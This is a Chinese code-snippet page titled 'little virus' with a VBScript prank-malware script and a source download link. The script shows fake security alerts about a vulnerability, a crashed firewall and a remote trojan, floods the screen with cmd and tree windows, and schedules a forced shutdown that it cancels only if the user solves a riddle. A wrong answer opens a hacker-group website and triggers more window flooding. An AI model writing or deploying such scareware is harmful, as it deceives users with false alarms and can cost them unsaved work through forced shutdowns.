小病毒

[vb]代码库

Set  ob = WScript.CreateObject("Wscript.Shell")
wscript.sleep 10000
ob.popup"系统检测到此计算机存在Windows IE HTML高危溢出漏洞",,"系统医生"
wscript.sleep 100
ob.popup"点击确定进行修复",,"修复"
ob.popup"修复过程中请勿中途退出，否则计算机将自动奔溃！",,"提示"
wscript.sleep 30000
ob.popup"恭喜你,高危漏洞修复成功!",,"修复成功"
wscript.sleep 60000

ob.popup"防火墙已奔溃!",,"危险警告!"
wscript.sleep 10000
ob.popup"系统检测到有远程木马登录!",,"危险警告!"
wscript.sleep 20000
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
wscript.sleep 10000

ob.popup"接下来会有一个猜谜谜游戏,如果你解开了你的电脑将会恢复正常",,"信息"
ob.popup"你将会有三分钟时间作答,两分钟过后将会给出相应的后果惩罚！祝你好运^_^",,"信息"

ob.run"shutdown -s -t 200"

do
d=int(inputbox("闻不入耳，猜一字(1.(门)2.(萌) 3.(盲) 4.(听) 输入数字"))
if d=1 then
    ob.run"shutdown -a"
    ob.popup"恭喜你回答正确!",,"正确"
    ob.popup"你的电脑已恢复正常!",,"恢复正常"
    exit do
else
    ob.popup"很遗憾,你答错了,正确答案是:1",,"回答错误"
    wscript.sleep 1000*5
    ob.popup"网络已断开连接..."
    ob.Run("http://www.cnhonkerarmy.com/")
    do until i=3
    i = i+1
    msgbox"系统已奔溃!(建议你不要点击此弹窗超过3次)",,"警告"
    wscript.sleep 50000
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    
    loop
    end if
loop

[源代码打包下载]